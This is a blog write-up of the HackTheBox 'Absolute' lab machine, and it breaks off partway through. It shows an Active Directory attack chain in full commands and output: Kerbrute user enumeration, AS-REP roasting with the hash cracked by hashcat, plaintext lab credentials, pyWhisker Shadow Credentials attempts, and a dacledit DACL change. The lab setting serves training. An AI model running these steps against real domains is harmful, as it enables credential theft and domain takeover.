Logo V37R1X Blog
HackTheBox - Absolute
Table of Contents
index

Box Summary

This machine was previously rated as “Hard” but its difficulty was reclassified to “Insane” on 27th September 2022.

The Absolute machine involved creating a custom username wordlist derived from image metadata obtained from the website. This approach ultimately enabled an AS-REP Roasting attack. AS-REP Roasting is a Kerberos-based attack that allows an attacker to retrieve password hashes for accounts that do not require pre-authentication.

Following this, we gained a foothold on the domain and proceeded to enumerate LDAP attributes, which revealed the password of a service account. Using these credentials, we accessed a non-standard SMB share. Within this share, we discovered a Nim executable which, through dynamic analysis, exposed user credentials from an outbound LDAP bind.

This user was a member of the “Network Audit” group, which had “GenericWrite” permissions over another user’s account. We abused these permissions to add Shadow Credentials, allowing us to obtain a shell on the machine.

Finally, we leveraged Kerberos relaying to obtain the Domain Controller’s machine account hash and performed a DCSync attack, ultimately gaining full control of the domain.

Box Stats

  • OS: Windows
  • Severity: Insane (Original Severity: Hard)
  • Release Date: 24th September 2022
  • Points: 50 (40)
  • IP: 10.10.11.181
  • Creator: Geiseric
  • User Blood: snowscan 3H 17M 54S
  • System Blood: jazzpizazz 1D 1H 4M

Enumeration

Nmap

TCP Scan

Nmap Scan
# Nmap 7.92 scan initiated Sat Sep 24 20:44:26 2022 as: nmap -A -o nmap.txt 10.129.49.180
Nmap scan report for 10.129.49.180
Host is up (0.11s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Absolute
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-09-25 02:44:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-09-25T02:45:49+00:00; +7h00m12s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-09-25T02:45:48+00:00; +7h00m12s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-09-25T02:45:49+00:00; +7h00m13s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-09-25T02:45:48+00:00; +7h00m12s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m12s, deviation: 0s, median: 7h00m11s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-09-25T02:45:40
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 24 20:45:37 2022 -- 1 IP address (1 host up) scanned in 70.80 seconds

Here is a table which shows further information about the ports.

PortServiceDescriptionNotes
53DNSDomain Name System used for resolving hostnames within the domain.Can be used for zone transfers, subdomain enumeration, and identifying internal infrastructure.
80HTTP (IIS 10.0)Microsoft IIS web server hosting the “Absolute” website.Initial attack surface; useful for discovering usernames, metadata, hidden directories, and potential web vulnerabilities. TRACE method enabled (possible XST).
88KerberosAuthentication protocol used by Active Directory.Enables Kerberos-based attacks such as AS-REP Roasting and username enumeration.
135MSRPCMicrosoft Remote Procedure Call service.Used for remote management; can assist in user and service enumeration.
139NetBIOS-SSNNetBIOS session service over SMB.Supports legacy SMB communication; sometimes useful for enumeration.
389LDAPLightweight Directory Access Protocol (unencrypted).Allows querying Active Directory for users, groups, and attributes. Valuable for enumeration.
445SMBMicrosoft file sharing service.Used to enumerate shares and access files. Message signing is enabled, preventing SMB relay attacks.
464Kerberos (kpasswd)Kerberos password change service.Confirms Kerberos environment; limited direct exploitation value.
593RPC over HTTPRPC tunneled over HTTP.Used in AD environments for remote communication; limited direct attack surface.
636LDAPSSecure LDAP over SSL/TLS.Encrypted LDAP queries; useful for secure enumeration when credentials are available.
3268LDAP (Global Catalog)Forest-wide LDAP queries (unencrypted).Enables querying objects across the entire domain forest.
3269LDAPS (Global Catalog)Secure global catalog LDAP.Same as 3268 but encrypted; useful for large-scale AD enumeration.

CrackMapExec SMB (SMB - TCP - Port 445)

smb
$ crackmapexec smb 10.10.11.181 --shares
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)
$ crackmapexec smb 10.10.11.181 --shares -u v37r1x -p ''
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [-] absolute.htb\v37r1x: STATUS_LOGON_FAILURE

DiG (DNS - TCP/UDP - Port 53)

DiG Scan
$ dig @10.10.11.181 absolute.htb ANY
; <<>> DiG 9.18.6-2-Debian <<>> @10.10.11.181 absolute.htb ANY
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23476
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 4
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;absolute.htb. IN ANY
;; ANSWER SECTION:
absolute.htb. 600 IN A 10.10.11.181
absolute.htb. 3600 IN NS dc.absolute.htb.
absolute.htb. 3600 IN SOA dc.absolute.htb. hostmaster.absolute.htb. 260 900 600 86400 3600
absolute.htb. 600 IN AAAA dead:beef::19c
absolute.htb. 600 IN AAAA dead:beef::e1b4:ef6e:6728:6d10
;; ADDITIONAL SECTION:
dc.absolute.htb. 3600 IN A 10.10.11.181
dc.absolute.htb. 3600 IN AAAA dead:beef::e1b4:ef6e:6728:6d10
dc.absolute.htb. 3600 IN AAAA dead:beef::19c
;; Query time: 82 msec
;; SERVER: 10.10.11.181#53(10.10.11.181) (TCP)
;; WHEN: Sat Sep 24 21:55:47 2022
;; MSG SIZE rcvd: 249

Add these hosts in /etc/hosts:

10.10.11.181 absolute.htb dc.absolute.htb

Website (HTTP - TCP - Port 80)

Main Website

Wappalyzer

wappalyzer

Exploitation to User

Exiftool

Images often contain hidden metadata embedded within the file structure, commonly stored in formats such as EXIF (Exchangeable Image File Format). Tools like exiftool allow you to extract and analyse metadata in detail. Depending upon how the image was created and processed, the metadata can reveal valuable information, such as the software it was used for editing, author and artists details or general copyright details. Using this you can build a profile or identify users and leverage attacks.

hero_1

Exiftool
$ exiftool hero_1.jpg
ExifTool Version Number : 12.44
File Name : hero_1.jpg
Directory : .
File Size : 407 kB
File Modification Date/Time : 2022:10:04 11:33:16+09:00
File Access Date/Time : 2022:10:04 11:33:15+09:00
File Inode Change Date/Time : 2022:10:04 11:33:16+09:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Little-endian (Intel, II)
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Artist : James Roberts
Y Cb Cr Positioning : Centered
Quality : 60%
XMP Toolkit : Image::ExifTool 11.88
Author : James Roberts
Creator Tool : Adobe Photoshop CC 2018 Macintosh
Derived From Document ID : 6413FD608B5C21D0939F910C0EFBBE44
Derived From Instance ID : 6413FD608B5C21D0939F910C0EFBBE44
Document ID : xmp.did:887A47FA048811EA8574B646AF4FC464
Instance ID : xmp.iid:887A47F9048811EA8574B646AF4FC464
DCT Encode Version : 100
APP14 Flags 0 : [14], Encoded with Blend=1 downsampling
APP14 Flags 1 : (none)
Color Transform : YCbCr
Image Width : 1900
Image Height : 1150
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 1900x1150
Megapixels : 2.2

To hero_6:

hero_6

We can enumerate names from pulling the metadata from these images.

Artist:James Roberts

users.txt
James Roberts
Michael Chaffrey
Donald Klay
Sarah Osvald
Jeffer Robinson
Nicole Smith

Kerberos bruteforce (Kerberos - Port 88)

After generating a custom username wordlist, Kerbrute was used in userenum mode to validate which accounts existed within the absolute.htb domain. By sending authentication requests to the Kerberos Key Distribution Center (KDC) on port 88, Kerbrute was able to differentiate between valid and invalid usernames based on the server’s response. This resulted in the identification of several valid domain users. This step was crucial, as confirming valid usernames significantly reduces the attack surface and enables further attacks such as AS-REP roasting and password spraying.

Kerbrute
./kerbrute_linux_amd64 userenum --dc 10.10.11.181 -d absolute.htb users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - Ronnie Flathers @ropnop
2022/10/04 11:50:28 > Using KDC(s):
2022/10/04 11:50:28 > 10.10.11.181:88
2022/10/04 11:50:28 > [+] VALID USERNAME: J.Roberts@absolute.htb
2022/10/04 11:50:28 > [+] VALID USERNAME: M.Chaffrey@absolute.htb
2022/10/04 11:50:28 > [+] VALID USERNAME: S.Osvald@absolute.htb
2022/10/04 11:50:28 > [+] VALID USERNAME: J.Robinson@absolute.htb
2022/10/04 11:50:28 > [+] VALID USERNAME: N.Smith@absolute.htb
2022/10/04 11:50:28 > [+] VALID USERNAME: D.Klay@absolute.htb
2022/10/04 11:50:28 > [+] VALID USERNAME: Administrator.htb
2022/10/04 11:50:33 > Done! Tested 18 usernames (6 valid) in 5.258 seconds

AS-REP Roasting

With a list of valid usernames identified, AS-REP Roasting was performed using Impacket’s GetNPUsers tool. This technique targets accounts that have Kerberos pre-authentication disabled, allowing the KDC to return an encrypted AS-REP response without requiring a password. By supplying the domain, DC IP, and the previously generated user list, it was possible to request authentication data for each user. Any vulnerable accounts would return a crackable hash, which can then be subjected to offline password cracking to recover plaintext credentials.

impacket-GetNPUsers
impacket-GetNPUsers -dc-ip 10.10.11.181 -no-pass -usersfile users.txt absolute.htb/
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User j.roberts doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.chaffrey doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$d.klay@ABSOLUTE.HTB:0816781d16320ef83b3cc0169ad5a58e$dc59960b2b031bb885dc3e6ab97763405d237766a9cadee00f0760ad87149b7bacd37e13731c28213b3c967bcc77206c02a1681e05fa7a6bb6c08f1fb99a3c93aa16083ad44c30af53d6f25d091592973023ddd8d39eb0afebf8522d4bf048b7a22c1af139c1a313cfe4d52c6e39e2fc56dba8b37173426649f1c523ece7f31aa9d7cf703beb61af97cbe705cc8492f5a05345e3a5286b9824dab5475fa0e304635e1461eaab32ee728624be8d0725ace3c2085fcf04810b221ba522f179898152abf921c7433dcc91209c5a27ea5f3034f2c6d6ab60512db9bdea06e2bb97fc52f13cb6bb5c8506e8fdf782
[-] User s.osvald doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.robinson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User n.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set

After successfully retrieving an AS-REP hash for the user d.klay, the hash was cracked offline using Hashcat with mode 18200, which corresponds to Kerberos 5 AS-REP hashes. By supplying the hash and a common wordlist (rockyou.txt), the plaintext password Darkmoonsky248girl was recovered. This step is significant because AS-REP roasting allows attackers to obtain crackable hashes without prior authentication, making it a powerful technique when misconfigurations (disabled pre-authentication) are present.

hashcat
hashcat -m 18200 '$krb5asrep$23$d.klay@ABSOLUTE.HTB:0816781d16320ef83b3cc0169ad5a58e$dc59960b2b031bb885dc3e6ab97763405d237766a9cadee00f0760ad87149b7bacd37e13731c28213b3c967bcc77206c02a1681e05fa7a6bb6c08f1fb99a3c93aa16083ad44c30af53d6f25d091592973023ddd8d39eb0afebf8522d4bf048b7a22c1af139c1a313cfe4d52c6e39e2fc56dba8b37173426649f1c523ece7f31aa9d7cf703beb61af97cbe705cc8492f5a05345e3a5286b9824dab5475fa0e304635e1461eaab32ee728624be8d0725ace3c2085fcf04810b221ba522f179898152abf921c7433dcc91209c5a27ea5f3034f2c6d6ab60512db9bdea06e2bb97fc52f13cb6bb5c8506e8fdf782' /usr/share/wordlists/rockyou.txt -O -d 1
> d.klay:Darkmoonsky248girl

Following the recovery of valid credentials, additional testing was performed to identify potential password reuse across the domain. A common pattern in Active Directory environments is users having predictable passwords (e.g., based on their names). Using CrackMapExec, the credentials j.roberts:JamesRoberts were tested against SMB. Although the response returned a STATUS_ACCOUNT_RESTRICTION, this still confirmed that the credentials were valid, but restricted from logging in via SMB (likely due to logon policy limitations such as allowed logon workstations or times).

crackmapexec
crackmapexec smb absolute.htb -u j.roberts -p 'JamesRoberts'
SMB dead:beef::e1b4:ef6e:6728:6d10 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB dead:beef::e1b4:ef6e:6728:6d10 445 DC [-] absolute.htb\j.roberts:JamesRoberts STATUS_ACCOUNT_RESTRICTION

Found j.roberts:JamesRoberts

To proceed with Kerberos-based authentication, the local Kerberos configuration file (krb5.conf) was updated to define the ABSOLUTE.HTB realm and specify the domain controller (dc.absolute.htb) as the Key Distribution Center (KDC). This configuration ensures that Kerberos-aware tools can correctly locate and communicate with the domain services for ticket requests and authentication.

/etc/krb5.conf
[libdefaults]
default_realm = ABSOLUTE.HTB
# The following krb5.conf variables are only for MIT Kerberos.
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
# The following encryption type specification will be used by MIT Kerberos
# if uncommented. In general, the defaults in the MIT Kerberos code are
# correct and overriding these specifications only serves to disable new
# encryption types as they are added, creating interoperability problems.
#
# The only time when you might need to uncomment these lines and change
# the enctypes is if you have local software that will break on ticket
# caches containing ticket encryption types it doesn't know about (such as
# old versions of Sun Java).
# default_tgs_enctypes = des3-hmac-sha1
# default_tkt_enctypes = des3-hmac-sha1
# permitted_enctypes = des3-hmac-sha1
# The following libdefaults parameters are only for Heimdal Kerberos.
fcc-mit-ticketflags = true
[realms]
ABSOLUTE.HTB = {
kdc = dc.absolute.htb
admin_server = dc.absolute.htb
default_domain = absolute.htb
}
[domain_realm]
.absolute.htb = ABSOLUTE.HTB
[appdefaults]
forwardable = true
pam = {
ABSOLUTE.HTB = {
ignore_k5login = false
}
}

Kerberos authentication is highly sensitive to time differences between the client and the domain controller. Even a small time skew can cause authentication failures. To mitigate this, the system clock was synchronised with the domain controller using ntpdate. This step is critical before attempting to request or use Kerberos tickets.

ntpdate
[v37r1x@v37r1x]─[~/Documents/HackTheBox/Boxes/Absolute]─$ sudo ntpdate -s absolute.htb
[sudo] password for v37r1x:

Note if we want to permanently have our time synchronized with the windows box we can proceed:

  • sudo timedatectl set-ntp false
  • sudo ntpdate -s absolute.htb

With valid credentials for d.klay, a Ticket Granting Ticket (TGT) was requested using Impacket’s getTGT tool. This ticket serves as proof of authentication and allows access to other Kerberos-enabled services without repeatedly providing credentials. The ticket was saved as a .ccache file and exported via the KRB5CCNAME environment variable so that other tools can automatically use it for authentication.

impacket-getTGT
impacket-getTGT -dc-ip dc.absolute.htb absolute.htb/d.klay:Darkmoonsky248girl
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in d.klay.ccache
Export TGT
export KRB5CCNAME=d.klay.ccache

The Kerberos ticket was leveraged to perform LDAP enumeration using ldeep. By authenticating with the cached ticket (-k flag), it was possible to query the domain and extract a full list of users. This demonstrates how Kerberos tickets can be reused for seamless authentication across multiple services, enabling further enumeration without exposing plaintext credentials.

ldeep
ldeep ldap -k -s absolute.htb -d absolute.htb users
winrm_user
svc_audit
svc_smb
d.lemm
s.johnson
c.colt
l.moore
m.lovegod
n.smith
j.robinson
s.osvald
D.Klay
M.Chaffrey
J.Roberts
krbtgt
Guest
Administrator

The winrm_user account is a notable target due to several high-risk attributes. The adminCount: 1 flag suggests it may have inherited elevated privileges via AdminSDHolder protections, while membership in Protected Users enforces strict Kerberos-only authentication. Its inclusion in Remote Management Users indicates that compromising this account would grant immediate WinRM access. Most importantly, the populated msDS-KeyCredentialLink attribute reveals that key-based authentication is configured, enabling a potential Shadow Credentials attack. If write access to this attribute is obtained, an attacker can add their own key and authenticate as the user without needing the password, making this a highly effective path for privilege escalation and lateral movement.

{
"accountExpires": "9999-12-31T23:59:59.999999+00:00",
"adminCount": 1,
"badPasswordTime": "2022-06-09T14:36:04.559736+00:00",
"badPwdCount": 0,
"cn": "winrm_user",
"codePage": 0,
"countryCode": 0,
"dSCorePropagationData": [
"2022-10-04T10:05:03+00:00",
"2022-10-04T10:00:03+00:00",
"2022-10-04T09:55:03+00:00",
"2022-10-04T09:50:03+00:00",
"1601-01-01T00:00:00+00:00"
],
"description": [
"Used to perform simple network tasks"
],
"distinguishedName": "CN=winrm_user,CN=Users,DC=absolute,DC=htb",
"dn": "CN=winrm_user,CN=Users,DC=absolute,DC=htb",
"instanceType": 4,
"lastLogoff": "1601-01-01T00:00:00+00:00",
"lastLogon": "2022-10-04T03:00:45.674862+00:00",
"lastLogonTimestamp": "2022-10-03T13:12:16.190470+00:00",
"logonCount": 4,
"memberOf": [
"CN=Protected Users,CN=Users,DC=absolute,DC=htb",
"CN=Remote Management Users,CN=Builtin,DC=absolute,DC=htb"
],
"msDS-KeyCredentialLink": [
"Qjo4Mjg6MDAwMjAwMDAyMDAwMDFBOTIwMzlFRkVERjM2MkQ3QUJBNThDQjA1MUQzNkQ3RTVEQzY5QzRBODJGM0Y5OEVFMUM5MUZDQjAwN0JBNzlFMjAwMDAyRjQwMjk4MTI5MkQwRDNBNDdCRDJFRkY3M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QUMxMjhFN0E0NzY4MjYyQzAxN0EwOUQwQzI1QUIxRTlFOTc1Qzk1NjJCMDEwMDA0MDEwMTAwMDUwMDEwMDAwNjMwMkQ4OTk0MDE0MTUzMDAzNjM3M0MyNkRDMzlCQjdDMDIwMDA3MDEwMDA4MDAwODY2QTE5QzYwOUREN0Q4MDEwODAwMDk2NkExOUM2MDlERDdEODAxOkNOPXdpbnJtX3VzZXIsQ049VXNlcnMsREM9YWJzb2x1dGUsREM9aHRi"
]
}
<skip>

We can use pyWhisker, a Python equivalent of the original Whisker made by Elad Shamir and written in C#. This tool allows users to manipulate the msDS-KeyCredentialLink attribute of a target user/computer to obtain full control over that object.

Tested with d.klay account but failed, restricted account.

Further LDAP enumeration using CrackMapExec revealed a list of domain users, notably exposing valid credentials for the svc_smb account (svc_smb:AbsoluteSMBService123!).

crackmapexec
./crackmapexec ldap -d ABSOLUTE.HTB -k --kdcHost dc.absolute.htb --users absolute.htb 10.10.11.181
SMB absolute.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:ABSOLUTE.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:ABSOLUTE.HTB) (signing:True) (SMBv1:False)
LDAP 10.10.11.181 389 DC [+] ABSOLUTE.HTB\
LDAP absolute.htb 389 DC [+] ABSOLUTE.HTB\
LDAP 10.10.11.181 389 DC [*] Total of records returned 20
LDAP 10.10.11.181 389 DC Administrator Built-in account for administering the computer/domain
LDAP 10.10.11.181 389 DC Guest Built-in account for guest access to the computer/domain
LDAP 10.10.11.181 389 DC krbtgt Key Distribution Center Service Account
LDAP 10.10.11.181 389 DC J.Roberts
LDAP 10.10.11.181 389 DC M.Chaffrey
LDAP 10.10.11.181 389 DC D.Klay
LDAP 10.10.11.181 389 DC s.osvald
LDAP 10.10.11.181 389 DC j.robinson
LDAP 10.10.11.181 389 DC n.smith
LDAP 10.10.11.181 389 DC m.lovegod
LDAP 10.10.11.181 389 DC l.moore
LDAP 10.10.11.181 389 DC c.colt
LDAP 10.10.11.181 389 DC s.johnson
LDAP 10.10.11.181 389 DC d.lemm
LDAP 10.10.11.181 389 DC svc_smb AbsoluteSMBService123!
LDAP 10.10.11.181 389 DC svc_audit
LDAP 10.10.11.181 389 DC winrm_user Used to perform simple network tasks
LDAP absolute.htb 389 DC [*] Total of records returned 20
LDAP absolute.htb 389 DC Administrator Built-in account for administering the computer/domain
LDAP absolute.htb 389 DC Guest Built-in account for guest access to the computer/domain
LDAP absolute.htb 389 DC krbtgt Key Distribution Center Service Account
LDAP absolute.htb 389 DC J.Roberts
LDAP absolute.htb 389 DC M.Chaffrey
LDAP absolute.htb 389 DC D.Klay
LDAP absolute.htb 389 DC s.osvald
LDAP absolute.htb 389 DC j.robinson
LDAP absolute.htb 389 DC n.smith
LDAP absolute.htb 389 DC m.lovegod
LDAP absolute.htb 389 DC l.moore
LDAP absolute.htb 389 DC c.colt
LDAP absolute.htb 389 DC s.johnson
LDAP absolute.htb 389 DC d.lemm
LDAP absolute.htb 389 DC svc_smb AbsoluteSMBService123!
LDAP absolute.htb 389 DC svc_audit
LDAP absolute.htb 389 DC winrm_user Used to perform simple network tasks

Found svc_smb:AbsoluteSMBService123!

Switch ticket to svc_smb account:

kinit
kinit svc_smb
Password for svc_smb@ABSOLUTE.HTB:

After obtaining a Kerberos ticket for this account, we attempted to modify the msDS-KeyCredentialLink attribute of winrm_user using pyWhisker. However, this also failed with an INSUFF_ACCESS_RIGHTS error, confirming that svc_smb did not have the required permissions.

pyWhisker
pywhisker/pywhisker.py -u svc_smb -k -d absolute.htb --dc-ip absolute.htb -t 'winrm_user' -a add --filename testfile1
[*] Searching for the target account
[*] Target user found: CN=winrm_user,CN=Users,DC=absolute,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 67261a3b-06de-3ac2-c072-10c66aae2e6c
[*] Updating the msDS-KeyCredentialLink attribute of winrm_user
[!] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-031514A0, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

Failed, not enough privileges

Pivoting from this, we accessed the SMB Shared drive using the svc_smb account and discovered two files: a Nim compilation script and a Windows executable (test.exe). By executing the binary in a controlled Windows environment and capturing network traffic, we extracted additional credentials (m.lovegod:AbsoluteLDAP2022!). Despite gaining another valid account, attempts to abuse Shadow Credentials against winrm_user still failed due to insufficient privileges.

Note if your ticket has expired then you can renew like this:

  • getTGT.py 'ABSOLUTE.HTB/svc_smb:AbsoluteSMBService123!' -dc-ip 10.10.11.181
  • export KRB5CCNAME=svc_smb.ccache
impacket-smbclient
impacket-smbclient -dc-ip dc.absolute.htb -k dc.absolute.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Type help for list of commands
#
# shares
ADMIN$
C$
IPC$
NETLOGON
Shared
SYSVOL
# use Shared
# ls
drw-rw-rw- 0 Fri Sep 2 02:02:23 2022 .
drw-rw-rw- 0 Fri Sep 2 02:02:23 2022 ..
-rw-rw-rw- 72 Fri Sep 2 02:02:23 2022 compiler.sh
-rw-rw-rw- 67584 Fri Sep 2 02:02:23 2022 test.exe
# mget test.exe
[*] Downloading test.exe
# mget compiler.sh
[*] Downloading compiler.sh
# exit

Found 2 files:

Testing
file test.exe
test.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
cat compiler.sh
#!/bin/bash
nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1

test.exe is Portable Executable then switch quickly to a Windows11 VM to execute it.

Set lmhosts, connect to vpn and launch WireShark to catch the network traffic packets in same time.

WireShark

Found m.lovegod:AbsoluteLDAP2022!

At this stage, multiple credentialed users (svc_smb, m.lovegod, and d.klay) were unable to directly modify the target account, suggesting a more complex permission structure. BloodHound analysis revealed the missing link: m.lovegod had ownership over the Network Audit group, which in turn had GenericWrite permissions over winrm_user. This implied that by abusing group ownership and modifying its permissions, it would be possible to indirectly gain the necessary rights over winrm_user, ultimately enabling the Shadow Credentials attack path.

Try again to modify winrm_user with m.lovegod:

Terminal window
pywhisker.py -u m.lovegod -k -d absolute.htb --dc-ip absolute.htb -t 'winrm_user' -a add --filename testfile1
[*] Searching for the target account
[*] Target user found: CN=winrm_user,CN=Users,DC=absolute,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 0193db5b-328c-6eb8-1265-b36393a256ab
[*] Updating the msDS-KeyCredentialLink attribute of winrm_user
[!] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-031514A0, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

Failed, again not enough privileges

Try with 3 known users:

svc_smb:AbsoluteSMBService123!
m.lovegod:AbsoluteLDAP2022!
d.klay:Darkmoonsky248girl

All failed

Then check attack path using BloodHound:

graph

m.lovegod -- OWNS --> Group Network Audit -- Generic Write --> winrm_user

Seems m.lovegod might be set as owner of the Network Audit group then can modify/impersonate winrm_user.

From m.lovegod to winrm_user (full Linux way)

Grant rights abuse can be carried out when controlling an object that has WriteDacl over another object.

We can write a new ACE to the target object’s DACL (Discretionary Access Control List). This can give the attacker full control of the target object.

Note From UNIX-like systems, this can be done with Impacket’s dacledit.py (Python).

dacledit is installed from the Impacket fork containing support for reading and modifying Active Directory DACLs.

Install dacledit
python3 -m venv impacket
source /home/user/impacket/bin/activate
cd impacket
git clone --branch dacledit https://github.com/ShutdownRepo/impacket.git
cd impacket
python3 -m pip install .
cd examples

Before interacting with the domain controller, the system clock is synchronised with the DC because Kerberos authentication is sensitive to clock differences. A TGT is then requested for m.lovegod and stored in a Kerberos credential cache, allowing subsequent tools to authenticate using Kerberos rather than repeatedly supplying a password.

Pre Attack
sudo ntpdate -s absolute.htb
impacket-getTGT -dc-ip dc.absolute.htb absolute.htb/m.lovegod:AbsoluteLDAP2022!
export KRB5CCNAME=m.lovegod.ccache

The existing permissions on the Network Audit group are then enumerated. This is important because it establishes the current access relationship before making any modifications. The output confirms that the DACL can be queried for the target object, allowing us to investigate whether the account can modify the group’s permissions.

dacledit
./dacledit.py -k -dc-ip 10.10.11.181 -principal 'winrm_user' -target 'Network Audit' -action 'read' 'absolute.htb'/'m.lovegod':'AbsoluteLDAP2022!'
Impacket v0.9.25.dev1+20220722.94146.bdd40f42 - Copyright 2021 SecureAuth Corporation
[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-4078382237-1492182817-2568127209-1116)

The DACL is subsequently modified to grant m.lovegod FullControl over the Network Audit group. This is the key privilege-escalation step: rather than directly compromising winrm_user, control over the group can be used to make m.lovegod a member of Network Audit. The original DACL is also backed up by dacledit, providing a record of the permissions before modification.

dacledit
./dacledit.py -action 'write' -rights 'FullControl' -k -dc-ip 10.10.11.181 -principal 'm.lovegod' -target 'Network Audit' 'absolute.htb'/'m.lovegod':'AbsoluteLDAP2022!'
Impacket v0.9.25.dev1+20220722.94146.bdd40f42 - Copyright 2021 SecureAuth Corporation
[*] DACL backed up to dacledit-20221001-214427.bak
[*] DACL modified successfully!

With the required permissions in place, m.lovegod is added to the Network Audit group using Samba’s net rpc functionality.

net
net rpc group addmem "Network Audit" m.lovegod -U "ABSOLUTE.HTB\m.lovegod" -S dc.absolute.htb
